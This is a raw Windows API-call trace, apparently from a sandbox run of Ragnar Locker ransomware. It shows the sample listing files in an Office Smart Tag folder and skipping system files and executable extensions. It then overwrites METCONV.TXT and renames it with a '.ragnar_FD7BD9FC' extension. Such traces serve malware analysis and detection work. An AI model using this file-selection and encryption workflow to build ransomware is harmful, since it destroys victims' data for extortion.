[0068.412] lstrcmpiW (lpString1="FPERSON.DLL", lpString2="thumbs.db") returned -1 [0068.412] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0068.412] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0068.412] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0068.412] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f78700, ftCreationTime.dwHighDateTime=0x1cb7000, ftLastAccessTime.dwLowDateTime=0xc251c2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x66f78700, ftLastWriteTime.dwHighDateTime=0x1cb7000, nFileSizeHigh=0x0, nFileSizeLow=0x2c380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPLACE.DLL", cAlternateFileName="")) returned 1 [0068.412] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x40 [0068.412] lstrcpyW (in: lpString1=0x1eb63a, lpString2="FPLACE.DLL" | out: lpString1="FPLACE.DLL") returned="FPLACE.DLL" [0068.412] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL") returned=".DLL" [0068.412] lstrcmpiW (lpString1="FPLACE.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0068.412] lstrcmpiW (lpString1="FPLACE.DLL", lpString2="autorun.inf") returned 1 [0068.412] lstrcmpiW (lpString1="FPLACE.DLL", lpString2="boot.ini") returned 1 [0068.412] lstrcmpiW (lpString1="FPLACE.DLL", lpString2="bootfont.bin") returned 1 [0068.412] lstrcmpiW (lpString1="FPLACE.DLL", lpString2="bootsect.bak") returned 1 [0068.413] lstrcmpiW (lpString1="FPLACE.DLL", lpString2="bootmgr") returned 1 [0068.413] lstrcmpiW (lpString1="FPLACE.DLL", lpString2="bootmgr.efi") returned 1 [0068.413] lstrcmpiW (lpString1="FPLACE.DLL", lpString2="bootmgfw.efi") returned 1 [0068.413] lstrcmpiW (lpString1="FPLACE.DLL", lpString2="desktop.ini") returned 1 [0068.413] lstrcmpiW (lpString1="FPLACE.DLL", lpString2="iconcache.db") returned -1 [0068.413] lstrcmpiW (lpString1="FPLACE.DLL", lpString2="ntldr") returned -1 [0068.413] lstrcmpiW (lpString1="FPLACE.DLL", lpString2="ntuser.dat") returned -1 [0068.413] lstrcmpiW (lpString1="FPLACE.DLL", lpString2="ntuser.dat.log") returned -1 [0068.413] lstrcmpiW (lpString1="FPLACE.DLL", lpString2="ntuser.ini") returned -1 [0068.413] lstrcmpiW (lpString1="FPLACE.DLL", lpString2="thumbs.db") returned -1 [0068.413] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0068.413] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0068.413] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0068.413] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79275700, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x79275700, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x26d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="FSTOCK.DLL", cAlternateFileName="")) returned 1 [0068.413] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x40 [0068.413] lstrcpyW (in: lpString1=0x1eb63a, lpString2="FSTOCK.DLL" | out: lpString1="FSTOCK.DLL") returned="FSTOCK.DLL" [0068.413] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL") returned=".DLL" [0068.413] lstrcmpiW (lpString1="FSTOCK.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0068.413] lstrcmpiW (lpString1="FSTOCK.DLL", lpString2="autorun.inf") returned 1 [0068.413] lstrcmpiW (lpString1="FSTOCK.DLL", lpString2="boot.ini") returned 1 [0068.413] lstrcmpiW (lpString1="FSTOCK.DLL", lpString2="bootfont.bin") returned 1 [0068.413] lstrcmpiW (lpString1="FSTOCK.DLL", lpString2="bootsect.bak") returned 1 [0068.413] lstrcmpiW (lpString1="FSTOCK.DLL", lpString2="bootmgr") returned 1 [0068.413] lstrcmpiW (lpString1="FSTOCK.DLL", lpString2="bootmgr.efi") returned 1 [0068.413] lstrcmpiW (lpString1="FSTOCK.DLL", lpString2="bootmgfw.efi") returned 1 [0068.413] lstrcmpiW (lpString1="FSTOCK.DLL", lpString2="desktop.ini") returned 1 [0068.413] lstrcmpiW (lpString1="FSTOCK.DLL", lpString2="iconcache.db") returned -1 [0068.413] lstrcmpiW (lpString1="FSTOCK.DLL", lpString2="ntldr") returned -1 [0068.413] lstrcmpiW (lpString1="FSTOCK.DLL", lpString2="ntuser.dat") returned -1 [0068.413] lstrcmpiW (lpString1="FSTOCK.DLL", lpString2="ntuser.dat.log") returned -1 [0068.413] lstrcmpiW (lpString1="FSTOCK.DLL", lpString2="ntuser.ini") returned -1 [0068.413] lstrcmpiW (lpString1="FSTOCK.DLL", lpString2="thumbs.db") returned -1 [0068.413] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0068.413] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0068.413] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0068.413] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a43200, ftCreationTime.dwHighDateTime=0x1cb700e, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6a43200, ftLastWriteTime.dwHighDateTime=0x1cb700e, nFileSizeHigh=0x0, nFileSizeLow=0x39580, dwReserved0=0x0, dwReserved1=0x0, cFileName="IETAG.DLL", cAlternateFileName="")) returned 1 [0068.414] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x40 [0068.414] lstrcpyW (in: lpString1=0x1eb63a, lpString2="IETAG.DLL" | out: lpString1="IETAG.DLL") returned="IETAG.DLL" [0068.414] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL") returned=".DLL" [0068.414] lstrcmpiW (lpString1="IETAG.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0068.414] lstrcmpiW (lpString1="IETAG.DLL", lpString2="autorun.inf") returned 1 [0068.414] lstrcmpiW (lpString1="IETAG.DLL", lpString2="boot.ini") returned 1 [0068.414] lstrcmpiW (lpString1="IETAG.DLL", lpString2="bootfont.bin") returned 1 [0068.414] lstrcmpiW (lpString1="IETAG.DLL", lpString2="bootsect.bak") returned 1 [0068.414] lstrcmpiW (lpString1="IETAG.DLL", lpString2="bootmgr") returned 1 [0068.414] lstrcmpiW (lpString1="IETAG.DLL", lpString2="bootmgr.efi") returned 1 [0068.414] lstrcmpiW (lpString1="IETAG.DLL", lpString2="bootmgfw.efi") returned 1 [0068.414] lstrcmpiW (lpString1="IETAG.DLL", lpString2="desktop.ini") returned 1 [0068.414] lstrcmpiW (lpString1="IETAG.DLL", lpString2="iconcache.db") returned 1 [0068.414] lstrcmpiW (lpString1="IETAG.DLL", lpString2="ntldr") returned -1 [0068.414] lstrcmpiW (lpString1="IETAG.DLL", lpString2="ntuser.dat") returned -1 [0068.414] lstrcmpiW (lpString1="IETAG.DLL", lpString2="ntuser.dat.log") returned -1 [0068.414] lstrcmpiW (lpString1="IETAG.DLL", lpString2="ntuser.ini") returned -1 [0068.414] lstrcmpiW (lpString1="IETAG.DLL", lpString2="thumbs.db") returned -1 [0068.414] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0068.414] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0068.414] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0068.414] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x18b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMCONTACT.DLL", cAlternateFileName="IMCONT~1.DLL")) returned 1 [0068.414] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x40 [0068.414] lstrcpyW (in: lpString1=0x1eb63a, lpString2="IMCONTACT.DLL" | out: lpString1="IMCONTACT.DLL") returned="IMCONTACT.DLL" [0068.414] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL") returned=".DLL" [0068.414] lstrcmpiW (lpString1="IMCONTACT.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0068.414] lstrcmpiW (lpString1="IMCONTACT.DLL", lpString2="autorun.inf") returned 1 [0068.414] lstrcmpiW (lpString1="IMCONTACT.DLL", lpString2="boot.ini") returned 1 [0068.414] lstrcmpiW (lpString1="IMCONTACT.DLL", lpString2="bootfont.bin") returned 1 [0068.414] lstrcmpiW (lpString1="IMCONTACT.DLL", lpString2="bootsect.bak") returned 1 [0068.414] lstrcmpiW (lpString1="IMCONTACT.DLL", lpString2="bootmgr") returned 1 [0068.414] lstrcmpiW (lpString1="IMCONTACT.DLL", lpString2="bootmgr.efi") returned 1 [0068.414] lstrcmpiW (lpString1="IMCONTACT.DLL", lpString2="bootmgfw.efi") returned 1 [0068.414] lstrcmpiW (lpString1="IMCONTACT.DLL", lpString2="desktop.ini") returned 1 [0068.414] lstrcmpiW (lpString1="IMCONTACT.DLL", lpString2="iconcache.db") returned 1 [0068.415] lstrcmpiW (lpString1="IMCONTACT.DLL", lpString2="ntldr") returned -1 [0068.415] lstrcmpiW (lpString1="IMCONTACT.DLL", lpString2="ntuser.dat") returned -1 [0068.415] lstrcmpiW (lpString1="IMCONTACT.DLL", lpString2="ntuser.dat.log") returned -1 [0068.415] lstrcmpiW (lpString1="IMCONTACT.DLL", lpString2="ntuser.ini") returned -1 [0068.415] lstrcmpiW (lpString1="IMCONTACT.DLL", lpString2="thumbs.db") returned -1 [0068.415] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0068.415] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0068.415] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0068.415] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7b040ba0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7b040ba0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LISTS", cAlternateFileName="")) returned 1 [0068.415] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e94600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x583906f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93e94600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x1b180, dwReserved0=0x0, dwReserved1=0x0, cFileName="METCONV.DLL", cAlternateFileName="")) returned 1 [0068.415] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x40 [0068.415] lstrcpyW (in: lpString1=0x1eb63a, lpString2="METCONV.DLL" | out: lpString1="METCONV.DLL") returned="METCONV.DLL" [0068.415] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL") returned=".DLL" [0068.415] lstrcmpiW (lpString1="METCONV.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0068.415] lstrcmpiW (lpString1="METCONV.DLL", lpString2="autorun.inf") returned 1 [0068.415] lstrcmpiW (lpString1="METCONV.DLL", lpString2="boot.ini") returned 1 [0068.415] lstrcmpiW (lpString1="METCONV.DLL", lpString2="bootfont.bin") returned 1 [0068.415] lstrcmpiW (lpString1="METCONV.DLL", lpString2="bootsect.bak") returned 1 [0068.415] lstrcmpiW (lpString1="METCONV.DLL", lpString2="bootmgr") returned 1 [0068.415] lstrcmpiW (lpString1="METCONV.DLL", lpString2="bootmgr.efi") returned 1 [0068.415] lstrcmpiW (lpString1="METCONV.DLL", lpString2="bootmgfw.efi") returned 1 [0068.415] lstrcmpiW (lpString1="METCONV.DLL", lpString2="desktop.ini") returned 1 [0068.415] lstrcmpiW (lpString1="METCONV.DLL", lpString2="iconcache.db") returned 1 [0068.415] lstrcmpiW (lpString1="METCONV.DLL", lpString2="ntldr") returned -1 [0068.415] lstrcmpiW (lpString1="METCONV.DLL", lpString2="ntuser.dat") returned -1 [0068.415] lstrcmpiW (lpString1="METCONV.DLL", lpString2="ntuser.dat.log") returned -1 [0068.415] lstrcmpiW (lpString1="METCONV.DLL", lpString2="ntuser.ini") returned -1 [0068.415] lstrcmpiW (lpString1="METCONV.DLL", lpString2="thumbs.db") returned -1 [0068.415] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0068.415] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0068.415] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0068.415] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85f12000, ftCreationTime.dwHighDateTime=0x1c9a11f, ftLastAccessTime.dwLowDateTime=0x69a83910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85f12000, ftLastWriteTime.dwHighDateTime=0x1c9a11f, nFileSizeHigh=0x0, nFileSizeLow=0x120eb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="METCONV.TXT", cAlternateFileName="")) returned 1 [0068.415] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x40 [0068.415] lstrcpyW (in: lpString1=0x1eb63a, lpString2="METCONV.TXT" | out: lpString1="METCONV.TXT") returned="METCONV.TXT" [0068.415] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned=".TXT" [0068.415] lstrcmpiW (lpString1="METCONV.TXT", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0068.415] lstrcmpiW (lpString1="METCONV.TXT", lpString2="autorun.inf") returned 1 [0068.416] lstrcmpiW (lpString1="METCONV.TXT", lpString2="boot.ini") returned 1 [0068.416] lstrcmpiW (lpString1="METCONV.TXT", lpString2="bootfont.bin") returned 1 [0068.416] lstrcmpiW (lpString1="METCONV.TXT", lpString2="bootsect.bak") returned 1 [0068.416] lstrcmpiW (lpString1="METCONV.TXT", lpString2="bootmgr") returned 1 [0068.416] lstrcmpiW (lpString1="METCONV.TXT", lpString2="bootmgr.efi") returned 1 [0068.416] lstrcmpiW (lpString1="METCONV.TXT", lpString2="bootmgfw.efi") returned 1 [0068.416] lstrcmpiW (lpString1="METCONV.TXT", lpString2="desktop.ini") returned 1 [0068.416] lstrcmpiW (lpString1="METCONV.TXT", lpString2="iconcache.db") returned 1 [0068.416] lstrcmpiW (lpString1="METCONV.TXT", lpString2="ntldr") returned -1 [0068.416] lstrcmpiW (lpString1="METCONV.TXT", lpString2="ntuser.dat") returned -1 [0068.416] lstrcmpiW (lpString1="METCONV.TXT", lpString2="ntuser.dat.log") returned -1 [0068.416] lstrcmpiW (lpString1="METCONV.TXT", lpString2="ntuser.ini") returned -1 [0068.416] lstrcmpiW (lpString1="METCONV.TXT", lpString2="thumbs.db") returned -1 [0068.416] lstrcmpiW (lpString1=".TXT", lpString2=".db") returned 1 [0068.416] lstrcmpiW (lpString1=".TXT", lpString2=".sys") returned 1 [0068.416] lstrcmpiW (lpString1=".TXT", lpString2=".dll") returned 1 [0068.416] lstrcmpiW (lpString1=".TXT", lpString2=".lnk") returned 1 [0068.416] lstrcmpiW (lpString1=".TXT", lpString2=".msi") returned 1 [0068.416] lstrcmpiW (lpString1=".TXT", lpString2=".drv") returned 1 [0068.416] lstrcmpiW (lpString1=".TXT", lpString2=".exe") returned 1 [0068.416] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt")) returned 0x20 [0068.417] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0068.418] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1183416) returned 1 [0068.418] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x120eaf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.418] GetProcessHeap () returned 0x580000 [0068.418] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0068.418] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0068.419] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x22c0000 [0068.419] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.419] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0068.419] ReadFile (in: hFile=0x100, lpBuffer=0x22c0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x22c0000*, lpNumberOfBytesRead=0x1eaf34*=0x100000, lpOverlapped=0x0) returned 1 [0068.447] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0068.452] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x100000, nNumberOfBytesToLockHigh=0x0) returned 1 [0068.453] WriteFile (in: hFile=0x100, lpBuffer=0x22c0000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x22c0000*, lpNumberOfBytesWritten=0x1eaf30*=0x100000, lpOverlapped=0x0) returned 1 [0068.455] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x100000, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0068.455] VirtualFree (lpAddress=0x22c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.460] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x120eb8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.460] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0068.460] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0068.460] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0068.460] WriteFile (in: hFile=0x100, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0068.461] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0068.461] GetProcessHeap () returned 0x580000 [0068.461] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0068.461] CloseHandle (hObject=0x100) returned 1 [0068.469] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" [0068.469] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.ragnar_FD7BD9FC" [0068.469] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0068.470] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802a9400, ftCreationTime.dwHighDateTime=0x1caad0b, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x802a9400, ftLastWriteTime.dwHighDateTime=0x1caad0b, nFileSizeHigh=0x0, nFileSizeLow=0x59180, dwReserved0=0x0, dwReserved1=0x0, cFileName="MOFL.DLL", cAlternateFileName="")) returned 1 [0068.470] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x40 [0068.470] lstrcpyW (in: lpString1=0x1eb63a, lpString2="MOFL.DLL" | out: lpString1="MOFL.DLL") returned="MOFL.DLL" [0068.470] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL") returned=".DLL" [0068.470] lstrcmpiW (lpString1="MOFL.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0068.470] lstrcmpiW (lpString1="MOFL.DLL", lpString2="autorun.inf") returned 1 [0068.470] lstrcmpiW (lpString1="MOFL.DLL", lpString2="boot.ini") returned 1 [0068.470] lstrcmpiW (lpString1="MOFL.DLL", lpString2="bootfont.bin") returned 1 [0068.470] lstrcmpiW (lpString1="MOFL.DLL", lpString2="bootsect.bak") returned 1 [0068.470] lstrcmpiW (lpString1="MOFL.DLL", lpString2="bootmgr") returned 1 [0068.470] lstrcmpiW (lpString1="MOFL.DLL", lpString2="bootmgr.efi") returned 1 [0068.470] lstrcmpiW (lpString1="MOFL.DLL", lpString2="bootmgfw.efi") returned 1 [0068.470] lstrcmpiW (lpString1="MOFL.DLL", lpString2="desktop.ini") returned 1 [0068.470] lstrcmpiW (lpString1="MOFL.DLL", lpString2="iconcache.db") returned 1 [0068.470] lstrcmpiW (lpString1="MOFL.DLL", lpString2="ntldr") returned -1 [0068.470] lstrcmpiW (lpString1="MOFL.DLL", lpString2="ntuser.dat") returned -1 [0068.470] lstrcmpiW (lpString1="MOFL.DLL", lpString2="ntuser.dat.log") returned -1 [0068.470] lstrcmpiW (lpString1="MOFL.DLL", lpString2="ntuser.ini") returned -1 [0068.470] lstrcmpiW (lpString1="MOFL.DLL", lpString2="thumbs.db") returned -1 [0068.470] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0068.470] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0068.470] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0068.470] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab68100, ftCreationTime.dwHighDateTime=0x1cac9a5, ftLastAccessTime.dwLowDateTime=0x5943a0f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab68100, ftLastWriteTime.dwHighDateTime=0x1cac9a5, nFileSizeHigh=0x0, nFileSizeLow=0x3574, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTAG.TLB", cAlternateFileName="")) returned 1 [0068.470] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x40 [0068.470] lstrcpyW (in: lpString1=0x1eb63a, lpString2="MSTAG.TLB" | out: lpString1="MSTAG.TLB") returned="MSTAG.TLB" [0068.470] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB") returned=".TLB" [0068.470] lstrcmpiW (lpString1="MSTAG.TLB", lpString2="RGNR_FD7BD9FC.txt") 